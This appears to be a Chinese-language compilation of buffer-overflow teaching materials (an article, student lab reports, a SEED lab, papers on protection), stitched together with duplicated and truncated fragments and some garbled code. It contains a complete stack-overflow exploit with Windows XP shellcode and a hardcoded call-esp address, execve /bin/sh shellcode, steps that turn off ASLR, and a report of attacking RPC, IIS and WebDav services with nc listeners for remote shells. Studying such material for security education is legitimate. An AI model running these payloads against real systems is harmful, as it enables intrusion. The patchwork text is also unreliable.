缓冲区溢出漏洞

缓冲区溢出漏洞
缓冲区溢出漏洞

缓冲区溢出漏洞

IBM软件研究院

缓冲区溢出漏洞,是一种在软件中最容易发生的漏洞。它发生的原理是,由于软件在处理用户数据时使用了不限边界的拷贝,导致程序内部一些关键的数据被覆盖,引发了严重的安全问题。

缓冲区指的是操作系统中用来保存临时数据的空间,一般分为栈和堆两种缓冲区类型。缓冲区溢出漏洞是一种非常普通、非常危险的漏洞,在各种操作系统、应用软件,甚至是Web应用程序中广泛存在。

利用缓冲区溢出攻击,可以导致程序运行失败、系统当机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

在当前网络与操作系统安全中,50%以上的攻击都是来自于缓冲区溢出漏洞。而缓冲区溢出中,最为危险的是栈溢出,因为入侵者可以利用栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,然后为所欲为。

这里要澄清一个概念,很多人把缓冲区溢出称之为堆栈溢出漏洞,其实是错误的,堆溢出和栈溢出是两个不同的概念,都属于缓冲区溢出。

平时听说的缓冲区溢出大部分都是属于栈溢出。由于程序在实现的过程中,往往会自定义一些内存空间来负责接受或者存储数据,这些被直接定义的空间大小是有限的,因此当程序将过多的数据不经检查而直接放入这些空间中时,就会发生栈溢出。

栈溢出最为直接的危害是,这些被过量放进内存空间的数据会将函数的返回地址覆盖。“返回地址”的概念来自于CPU处理指令的结构设计。如果程序现在准备调用一个函数,CPU首先会将执行完这个函数后将要执行的指令地址存储到栈空间中,然后CPU开始执行函数,执行完毕,CPUCPU取出前面保存的指令地址,然后接着执行。这个“返回地址”是保存在栈空间中的,而程序一般定义的空间也是在栈中进行分配的,这就给了我们覆盖这个“返回地址”的机会。

栈是一个先进后出的空间,而堆则恰恰相反,是一个先进先出的空间。缓冲区溢出就是把这些空间装满后还继续往里面装。

但是对于一个软件来讲,危害可能不仅仅如此,用一个表来表示这个过程在栈溢出发生的时候,软件运行时内存中的情况。

正常:

Lower Addresses

buf2

buf1

var3

saved %EBP

return address

function()'s arguments

saved %EBP

return addresss

main()'s arguments

Higher Addresses

溢出:

Lower Addresses

buf2

buf1-41414141

41414141

41414141(当栈溢出发生时,esp寄存器指向这里)

41414141(return address)

41414141

saved %EBP

return address

main()'s arguments

Higher Addresses

从正常时候的内存分布可以看出,内存的高端部分是函数从被调用函数返回时需要的地址,而内存低端部分则是被调用函数的两个要使用的缓冲空间:buf1和buf2。在这里解释一下,假设被调用的函数是strcpy,strcpy函数是一个字符串复制函数,有两个参数,其中buf2代表来源字符串,buf1代表目的空间,strcpy函数的目的就是要把buf2中的字符串全部复制进入buf1代表的空间。现在如果将buf2,即来源字符串弄得很长,假设是很多“A”,这个时候再去执行strcpy函数,内存中的分配空间就会出现溢出中所表现的样子。可以看到buf1中充满字符41,“41”是A的ASCII码,不但如此,紧接着buf1的内存空间也全部被覆盖成了41,最关键的一个地方“return address”这块内存也全部成了41。那么程序在执行完strcpy函数要返回的时候,程序获得的返回地址竟是41414141,程序不管这个地址对不对,就直接返回了,结果程序会因为这个地址非法而出错。

现在看一下,因为程序的返回地址被覆盖,所以程序出错,而这个覆盖值是我们故意输入的,也就是说我们完全能够控制把什么数值覆盖到程序的返回地址上,那么如果将一段恶意代码或者要执行某个目的的代码,预先放入内存中某个地址,再将这个地址覆盖到程序的返回地址上,这样程序一旦溢出后返回,就会自动跳到代码上去,并且会执行代码,而且这一切都是由程序“正常”执行的。

恶意攻击者为了能够利用栈溢出来控制软件的执行流程,一般会将溢出地址覆盖为jmp esp指令或者call esp指令所在的地址。这是因为对于程序来说,当发生栈溢出时,往往是程序中的某一个函数的返回地址被过长的数据覆盖,此时,esp寄存器指向的地址就是过长数据的后半部分。如溢出时内存分布可以看出。

如果此时,esp指向的这段过长数据是一段恶意代码,那么当我们把函数的返回地址覆盖成为一个jmp esp指令或者call esp指令所在的地址时,溢出发生后,函数一返回就会跳转到jmp esp指令或者call esp指令所在地址上,CPU执行jmp esp指令或者call esp指令后,马上就会跳到esp寄存器指向的过长数据上,从而执行恶意代码,即常说的ShellCode。

举个例子,如下代码:

#include

#include

char name[] = "taizihuc";

void cc(char * a)

{

char output[8];

strcpy(output,a);

printf("%s\n",output);

}

intmain()

{

cc(name);

return 0;

}

利用Visual C++6.0来编译执行。代码中使用strcpy函数将name字符串复制到output 字符串所在内存地址中,需要注意output指向的内存大小只有8个字节大小。在没有发生栈溢出时,代码最终执行结果为taizihuc这个字符串。

现在让name成为一段大于8个字节的字符串,将taizihuc修改为abcdefghijklmnopqrstuvwxyz,再次编译执行,可以看到此刻代码最终运行结果发生了错误,系统给出了一个错误警告提示对话框。

可以看到,程序在执行内存地址6c6b6a69的时候发生了错误。其实这里的6c6b6a69就是“lkji”的ASCII码,之所以不是“ijkl”,是因为Windows操作系统的性质决定了内存中的数据是倒着存放的。也就是说此刻,lkji这4个字母覆盖了程序的返回地址,栈溢出现象发生了。

具体分析一下,在i之前的abcdefgh刚好8个字节,也就是output指向的8个字节的内存地址已经被填满,多余的ijklmnopqrstuvwxyz就覆盖到了栈空间中的其他数据,包括函数的返回地址。

用OLLYICE来分析一下,可以看到如下关键的寄存器指向:

ESP 0012FF80 ASCII "mnopqrstuvwxyz"

EIP 6C6B6A69

从这两句可以看到esp寄存器指向了ijkl4个字母后面的过长字符串。

将mnopqrstuvwxyz替换成为一段ShellCode代码,这里用在WindowsXP SP2系统下打开一个CMD命令行窗口的ShellCode程序,即:

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x 2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

"\x77\x1D\x80\x7C" //WindowsXP SP2 loadlibrary地址0x77e69f64

"\x52\x8D\x45\xF4\x50"

"\xFF\x55\xF0"

"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8"

"\xC7\x93\xBF\x77" //WindowsXP SP2 system地址0x7801afc3

"\xFF\xD0";

同时,需要将ijkl4个字母替换成为一个jmp esp指令或者call esp指令所在的地址,这个地址可以通过findjmp.exe获得。具体方法不详细说了。这里获得的call esp指令地

址为0x7C82385D。

OK,现在来修改最初的那段代码。

#include

#include

char name[] = "\x41\x41\x41\x41"

"\x41\x41\x41\x41" //这里就是8个字母A

"\x5D\x38\x82\x7C" //这里将call esp指令地址需要倒着写

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x 2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

"\x77\x1D\x80\x7C" //WindowsXP SP2 loadlibrary地址0x77e69f64

"\x52\x8D\x45\xF4\x50"

"\xFF\x55\xF0"

"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8"

"\xC7\x93\xBF\x77" //WindowsXP SP2 system地址0x7801afc3

"\xFF\xD0"; //以上就是一个开启CMD窗口的ShellCode

void cc(char * a)

{

char output[8];

strcpy(output,a);

printf("%s\n",output);

}

intmain()

{

cc(name);

return 0;

}

再次编译,可以看到程序打印出一段带有字母A的字符串后切换窗口,打开了一个CMD 命令行窗口。这个是一个典型的栈缓冲区溢出漏洞。

堆溢出是一种比较复杂的溢出,系统在管理堆这个缓冲区时,采用的是一个双向链表结构。堆不同于栈,堆中的数据时先进先出,当堆溢出发生时,主要是管理堆结构的一些关键指针数据被覆盖了。例:

int main (int argc, char *argv[])

{

char *buf1, *buf2;

char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbcccccccc";

buf1 = (char*)malloc (32); /* 在堆上分配buf1 */

memcpy (buf1, s, 32 16); /* 这里多复制16个字节 */

buf2 = (char*)malloc (16); /* 在堆上分配buf2 */

free (buf1);

free (buf2);

return 0;

}

在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是: buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)

在给buf2完成malloc之后,buf1指向的内存分配情况是:

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes)

现在假如在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了下一个空闲堆的管理结构和两个双链表指针共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常,堆溢出就发生了。再看一个存在堆溢出的代码:

bool CheckAuthor(char* username, char* password)

{

char *uname=new char[32];

strcpy(uname, username);

...

如果此时用户输入的username值长度超过32字节,毫无疑问,uname分配的堆空间肯定会发生溢出,这将导致程序出现异常。如果攻击者精确定位这个异常,把指向异常函数的地址覆盖了,那么就可以获得执行自己程序的权限。

缓冲区溢出实例分析

分析一个buffer overflow漏洞实例 什么是缓冲区溢出? 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。 在我们所研究的题目“buffer overflow缓冲区溢出实例分析”,是基于对堆栈溢出的分析 步骤: 1、首先我们编写了一个漏洞利用程序。 2、漏洞发掘 3、Shellcode 4、利用漏洞 堆栈的组成: 堆栈由数据存储区、EBP(栈底指针)、EIP(指令寄存器,指向下一条指令的地址)

详细分析: 编写一个漏洞利用程序,给它赋超过本身长度的值,使其溢出,但是我们要找到这个漏洞,我们需用shellcode进行填充,填充一定数量的值,使我们能够清晰的找到漏洞(EIP),如果EIP指向的下一个地址不存在,那么它就出错,警告你哪里的指令引用的地址内存不能为“read”,那么那个地址就是EIP所在的位子,由于每一个地址空间都是4个字节,所以EBP和EIP都占4个字节,所以在出错的地址前4个地址就是EBP的地址。 为了利用漏洞,我们就必须利用EIP的这个空间,将这个地址用JMP ESP 来赋值,这样EIP—>JMP ESP,这样程序执行到了EIP的地址空间时,就会跳转去执行JMP ESP,这样就会执行另一个shellcode的代码,这样我们就利用了缓冲区的漏洞。

SEED信息安全实验系列:缓冲区溢出漏洞实验

缓冲区溢出漏洞实验 一、实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。 二、实验准备 本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。 1、输入命令安装一些用于编译32位C程序的东西: sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev 2、输入命令“linux32”进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash: 三、实验步骤 3.1 初始设置

Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能: sudo sysctl -w kernel.randomize_va_space=0 此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。 linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序: sudo su cd /bin rm sh ln -s zsh sh exit 3.2 shellcode 一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。 观察以下代码: #include int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); } 本次实验的shellcode,就是刚才代码的汇编版本: \x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 3.3 漏洞程序 把以下代码保存为“stack.c”文件,保存到/tmp 目录下。代码如下: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include #include #include int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */strcpy(buffer, str); return 1;

缓冲区溢出实验报告

华中科技大学计算机学院《信息系统应用安全》实验报告 实验名称缓冲区溢出实验 团队成员: 教师评语:

一.实验环境 ?操作系统:Windows XP SP3 ?编译平台:Visual C++ 6.0 ?调试环境:OllyDbg 二.实验目的 1.掌握缓冲区溢出的原理; 2.掌握缓冲区溢出漏洞的利用技巧; 3.理解缓冲区溢出漏洞的防范措施。 三.实验内容及步骤 1.缓冲区溢出漏洞产生的的基本原理和攻击方法 ?缓冲区溢出模拟程序 程序源代码如下: 运行该程序产生访问异常:

由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。 运行命令窗口的shellcode shellcode测试代码如下: #include "string.h" #include "stdio.h" #include char name[]= "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" ///覆盖ebp "\x12\x45\xfa\x7f" ////覆盖eip,jmp esp地址7ffa4512 "\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d" "\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63" "\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e" "\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c" "\x8d\x45\xf4\x50\xb8" "\x77\x1d\x80\x7c" // LoadLibraryW的地址 "\xff\xd0" "\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73" "\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72" "\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"

缓冲区溢出攻击实验报告

缓冲区溢出攻击实验报告 班级:10网工三班学生姓名:谢昊天学号:46 实验目的和要求: 1、掌握缓冲区溢出的原理; 2、了解缓冲区溢出常见的攻击方法和攻击工具; 实验内容与分析设计: 1、利用RPC漏洞建立超级用户利用工具文件检测RPC漏洞,利用工具软件对进行攻击。攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。 2、利用IIS溢出进行攻击利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口。 3、利用WebDav远程溢出使用工具软件和远程溢出。 实验步骤与调试过程: 1.RPC漏洞出。首先调用RPC(Remote Procedure Call)。当系统启动的时候,自动加载RPC服务。可以在服务列表中看到系统的RPC服务。利用RPC漏洞建立超级用户。首先,把文件拷贝到C盘跟目录下,检查地址段到。点击开始>运行>在运行中输入cmd>确定。进入DOs模式、在C盘根目录下输入 -,回车。检查漏洞。 2.检查缓冲区溢出漏洞。利用工具软件对进行攻击。在进入DOC模式、在C盘根目录下输入 ,回车。 3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。进入IIS溢出工具软件的主界面. PORT:80 监听端口为813 单击IDQ溢出。出现攻击成功地提示对话框。 4.利用工具软件连接到该端口。进入DOs模式,在C盘根目录下输入 -vv 813 回车。5.监听本地端口(1)先利用命令监听本地的813端口。进入DOs模式,在C盘根目录下输入nc -l -p 813回车。(2)这个窗口就这样一直保留,启动工具软件snake,本地的IP 地址是,要攻击的计算机的IP地址是,选择溢出选项中的第一项,设置IP为本地IP地址,端口是813.点击按钮“IDQ溢出”。(3)查看nc命令的DOS框,在该界面下,已经执行了设置的DOS命令。将对方计算机的C盘根目录列出来,进入DOC模式,在C盘根目录下输入nc -l -p 813回车。 6.利用WebDav远程溢出使用工具软件和远程溢出。(1)在DOS命令行下执行,进入DOC 模式,在C盘根目录下输入回车。(2)程序入侵对方的计算机进入DOC模式,在C盘根目录下输入nc -vv 7788 回车。 实验结果: 1.成功加载RPC服务。可以在服务列表中看到系统的RPC服务,见结果图。 2.成功利用工具软件对进行攻击。 3.成功利用IIS溢出进行攻击利用软件Snake IIS溢出工具让对方的IIS溢出,从而捆绑

实验四缓冲区溢出攻击技术

实验单元四. 缓冲区溢出攻击技术 一、实验目的和要求 1.掌握缓冲区溢出的原理; 2.掌握缓冲区溢出漏洞的利用技巧; 3.理解缓冲区溢出漏洞的防范措施。 二、实验内容和原理 缓冲区溢出的原理:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的根本原因是程序中缺少错误检测。 当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell 执行其它命令。如果该程序属于root,攻击者就获得了一个有root 权限的shell,可以对系统进行任意操作。缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。缓冲区溢出漏洞和攻击有很多种形式,而相应的防范手段也随者攻击方法的不同而不同。 三、实验项目 缓冲区溢出产生cmd窗口; 改写函数返回地址; shellcode的编写; shellcode的植入。 四、实验所需软硬件 1)仪器设备条件:PC及其网络环境; 2)物质条件:Windows XP SP3、Linux、Gcc、Visual C++ 6.0 编译器等,OllyDbg; 3)相关文献资料:课件及网上收集的资料。 五、操作方法与实验步骤

怎样写远程缓冲区溢出漏洞利用程序

怎样写远程缓冲区溢出漏洞利用程序
作者:佚名出处:IT 专家网论坛整理 2007-12-18 10:29
假设有一个有漏洞的服务器程序(vulnerable.c). 然后写一个 exploit 来 利用该漏洞,这样将能得到一个远程 shell。 一、理解有漏洞程序:
#include #include #include #define BUFFER_SIZE 1024 #define NAME_SIZE 2048 int handling(int c) { char buffer[BUFFER_SIZE], name[NAME_SIZE]; int bytes; strcpy(buffer, "My name is: "); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; bytes = recv(c, name, sizeof(name), 0); if (bytes == -1) return -1; name[bytes - 1] = ’\0’; sprintf(buffer, "Hello %s, nice to meet you!\r\n", name); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; return 0; } int main(int argc, char *argv[]) { int s, c, cli_size; struct sockaddr_in srv, cli; if (argc != 2) { fprintf(stderr, "usage: %s port\n", argv[0]); return 1; }

网络安全缓冲区溢出技术实验报告

网络实验报告 一、实验目的及要求 1、目的 了解和掌握Win32平台缓冲区溢出原理; 学会使用Win32平台Shellcode技术。 2、内容及要求 以windows 2000 server虚拟机为测试对象,修改server.cpp和exploit.c,利用shellcode port bind给出的shellcode,远程获得CMD,并启动目标机器的ftp服务。 二、仪器用具 计算机(分别装有windows server 2000和windows 7操作系统),本实验使用的是虚拟机Wmware8.0在同一台电脑上面安装两个操作系统。 三、实验方法与步骤 在实验开始前,首先编写可能产生缓冲区溢出的程序(server.cpp)和测试程序(exploit.c)。 在server.cpp中能够产生缓冲区溢出的程序片段如下: void overflow(char * s,int size) { char s1[50]; printf("receive %d bytes",size); s[size]=0; strcpy(s1,s); } 这两个程序的完整代码见附件。 由于本实验是在虚拟机环境下测试的,所以在开始实验前,分别记下两个系统的IP地址:运行server程序的系统IP地址为:192.168.209.131 运行exploit程序的系统IP地址为:192.168.209.1 实验的过程如下: 1.在windows2000系统下分别编译server.cpp和exploit.c程序,详细过程如下: C:\test>cl server.cpp C:\test>cl exploit.c 编译完成后分别产生exploit.exe、exploit.obj、server.exe、server.obj 截图如下图1所示:

缓冲区溢出攻击详细讲解

缓冲区溢出攻击详细讲解 缓冲区溢出(Buffer Overflow)是计算机安全领域既经典而又古老的话题。随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪的《0day安全:软件漏洞分析技术》一书将缓冲区溢出攻击的原理阐述得简洁明了。本文参考该书对缓冲区溢出原理的讲解,并结合实际的代码实例进行验证。不过即便如此,完成一个简单的溢出代码也需要解决很多书中无法涉及的问题,尤其是面对较新的具有安全特性的编译器——比如MS的Visual Studio2010。接下来,我们结合具体代码,按照对缓冲区溢出原理的循序渐进地理解方式去挖掘缓冲区溢出背后的底层机制。 一、代码 <=> 数据 顾名思义,缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据,就像往杯子里倒入了过量的水一样。通常情况下,缓冲区溢出的数据只会破坏程序数据,造成意外终止。但是如果有人精心构造溢出数据的容,那么就有可能获得系统的控制权!如果说用户(也可能是黑客)提供了水——缓冲区溢出攻击的数据,那么系统提供了溢出的容器——缓冲区。 缓冲区在系统中的表现形式是多样的,高级语言定义的变量、数组、结构体等在运行时可以说都是保存在缓冲区的,因此所谓缓冲区可以更抽象地理解为一段可读写的存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写存中已经被蓄意设定好的恶意代码。按照冯·诺依曼存储程序原理,程序代码是作为二进制数据存储在存的,同样程序的数据也在存中,因此直接从存的二进制形式上是无法区分哪些是数据哪些是代码的,这也为缓冲区溢出攻击提供了可能。

缓冲区溢出原理及防护

缓冲区溢出原理及防护 时间:2005-6-5 作者:中科院研究生院蒋涛 摘要本文详细分析了缓冲区溢出的原理,描述了网络攻击者利用缓冲区溢出漏洞进行系统攻击的一般过程,最后简单讨论了几种缓冲区溢出的保护方法。 关键词缓冲区溢出缓冲区溢出漏洞安全攻击缓冲区溢出保护 在过去的十年中,以缓冲区溢出为攻击类型的安全漏洞是最为常见的一种形式。更为严重的是,缓冲区溢出漏洞占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权!由于这类攻击使任何人都有可能取得主机的控制权,所以它代表了一类极其严重的安全威胁。 缓冲区溢出攻击之所以成为一种常见的攻击手段,其原因在于缓冲区溢出漏洞太普通了,并且易于实现。而且,缓冲区溢出所以成为远程攻击的主要手段,其原因在于缓冲区溢出漏洞给予了攻击者所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。本文简单介绍了缓冲区溢出的基本原理和预防办法。 一、缓冲区溢出的概念和原理 缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root特级权限。 缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生root权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了。 造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序: example1.c void func1(char *input){ char buffer[16]; strcpy(buffer, input); } 上面的strcpy()将直接吧input中的内容copy到buffer中。这样只要input的长度

漏洞发掘与缓冲区溢出检测技术

漏洞发掘与缓冲区溢出检测技术 赵鑫 北京邮电大学信息工程学院,北京(100876) E-mail:jarious@https://www.360docs.net/doc/736428264.html, 摘要:本文通过分析缓冲区溢出发生的原理和一般利用过程,并结合漏洞发掘技术,提出了缓冲区溢出的几种检测方法,即通过进行缓冲区边界检查和指针完整性检查,并辅以攻击数据行为检测和编写正确的代码,来达到检测缓冲区溢出的目的。这几种方法可以有效地检测缓冲区溢出问题,从而避免缓冲区溢出带来的危害。 关键词:缓冲区溢出,漏洞发掘,安全 中图分类号:TP393 1.引言 一般来说,漏洞(Vulnerability)是指系统或应用程序存在的某种未曾预料到的未授权、不安全状态,它的出现往往是由于某些编程、配置或操作上的缺陷(Flaw)以及一些特定的条件引起的,攻击者往往需要构造条件,利用这些缺陷,使系统或应用程序由正常状态进入该状态,从而破坏正常的安全机制。 缓冲区溢出漏洞利用技术主要是从溢出点与Shellcode技术两部分来进行研究。那么,缓冲区溢出漏洞检测技术就可以分别针对这两个方面展开。针对溢出点主要采取的是缓冲区边界检查及指针完整性检查,而攻击数据特征检测则主要针对Shellcode。 2.缓冲区溢出漏洞原理 缓冲区是程序运行的时候机器内存中的一个连续块,它可以在栈(stack)、堆(heap)或未初始化数据段(bss)中。正常情况下,系统将数据存放在其分配好的一定大小的一段缓冲区内,若存在某些编程错误,使得攻击者可以通过控制该缓冲区或其它缓冲区内的数据,来控制程序流程,从而达到攻击目标,称该漏洞为缓冲区溢出漏洞,称这样的攻击为缓冲区溢出攻击。就目前的发展情况来看,缓冲区溢出攻击一般分为基于栈(stack-based)的缓冲区溢出攻击与基于堆(heap/bss-based)的缓冲区溢出攻击。 在进程的内存空间中,栈(stack)起到了保存有关当前函数调用上下文的容器的作用。许多内容都可能进入栈空间,其中包括:函数的非静态局部变量值、堆栈基址、当函数返回时程序应该跳转到的返回地址以及传递到函数中的参数等,其结构如图1所示。 图1 函数栈空间结构 当程序员编写程序时出现边界检验错误,不限制写入buffer中内容的长度时,就会出现由于写入内容过多,导致缓冲区溢出,堆栈结构被破坏。结果,可能引起程序运行失败,产

缓冲区溢出漏洞

缓冲区溢出漏洞 IBM软件研究院 缓冲区溢出漏洞,是一种在软件中最容易发生的漏洞。它发生的原理是,由于软件在处理用户数据时使用了不限边界的拷贝,导致程序内部一些关键的数据被覆盖,引发了严重的安全问题。 缓冲区指的是操作系统中用来保存临时数据的空间,一般分为栈和堆两种缓冲区类型。缓冲区溢出漏洞是一种非常普通、非常危险的漏洞,在各种操作系统、应用软件,甚至是Web应用程序中广泛存在。 利用缓冲区溢出攻击,可以导致程序运行失败、系统当机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。 在当前网络与操作系统安全中,50%以上的攻击都是来自于缓冲区溢出漏洞。而缓冲区溢出中,最为危险的是栈溢出,因为入侵者可以利用栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,然后为所欲为。 这里要澄清一个概念,很多人把缓冲区溢出称之为堆栈溢出漏洞,其实是错误的,堆溢出和栈溢出是两个不同的概念,都属于缓冲区溢出。 平时听说的缓冲区溢出大部分都是属于栈溢出。由于程序在实现的过程中,往往会自定义一些内存空间来负责接受或者存储数据,这些被直接定义的空间大小是有限的,因此当程序将过多的数据不经检查而直接放入这些空间中时,就会发生栈溢出。 栈溢出最为直接的危害是,这些被过量放进内存空间的数据会将函数的返回地址覆盖。“返回地址”的概念来自于CPU处理指令的结构设计。如果程序现在准备调用一个函数,CPU首先会将执行完这个函数后将要执行的指令地址存储到栈空间中,然后CPU开始执行函数,执行完毕,CPUCPU取出前面保存的指令地址,然后接着执行。这个“返回地址”是保存在栈空间中的,而程序一般定义的空间也是在栈中进行分配的,这就给了我们覆盖这个“返回地址”的机会。 栈是一个先进后出的空间,而堆则恰恰相反,是一个先进先出的空间。缓冲区溢出就是把这些空间装满后还继续往里面装。 但是对于一个软件来讲,危害可能不仅仅如此,用一个表来表示这个过程在栈溢出发生的时候,软件运行时内存中的情况。 正常: Lower Addresses buf2 buf1 var3 saved %EBP return address function()'s arguments saved %EBP

理解缓冲区溢出漏洞的利用

